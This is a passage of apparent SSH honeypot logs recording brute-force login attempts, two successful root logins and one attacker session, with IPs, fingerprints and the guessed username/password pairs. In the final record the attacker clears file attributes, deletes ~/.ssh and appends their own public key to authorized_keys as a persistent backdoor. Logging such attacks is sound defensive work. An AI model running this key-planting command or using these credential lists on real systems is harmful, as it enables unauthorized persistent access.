  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:07.749443 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tom

Record ID: c7fe31f17c4f
Client Version: SSH-2.0-Go
Engagement Duration: 2.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "c7fe31f17c4f",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:07.749443Z",
  "end_time": "2026-09-24T02:38:09.751498Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "tom",
      "pass": "tom123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:38:02.600902 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trader

Record ID: 7c630dbe4ecf
Client Version: SSH-2.0-Go
Engagement Duration: 2.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "7c630dbe4ecf",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:38:02.600902Z",
  "end_time": "2026-09-24T02:38:04.569572Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "trader",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:37:57.686053 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1

Record ID: 744d1c9e0941
Client Version: SSH-2.0-Go
Engagement Duration: 1.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "744d1c9e0941",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:37:57.686053Z",
  "end_time": "2026-09-24T02:37:59.515417Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin1",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
122.199.225.53
2026-09-24 02:37:57.374227 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 47bd03954a29
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "47bd03954a29",
  "src_ip": "122.199.225.53",
  "start_time": "2026-09-24T02:37:57.374227Z",
  "end_time": "2026-09-24T02:37:58.339194Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
122.199.225.53
2026-09-24 02:37:55.269910 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5bba863adada
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "5bba863adada",
  "src_ip": "122.199.225.53",
  "start_time": "2026-09-24T02:37:55.269910Z",
  "end_time": "2026-09-24T02:37:57.213739Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
122.199.225.53
2026-09-24 02:37:53.179062 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Qqq123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: d5196c3c44bd
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 5.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "d5196c3c44bd",
  "src_ip": "122.199.225.53",
  "start_time": "2026-09-24T02:37:53.179062Z",
  "end_time": "2026-09-24T02:37:58.335560Z",
  "duration": "5.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Qqq123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}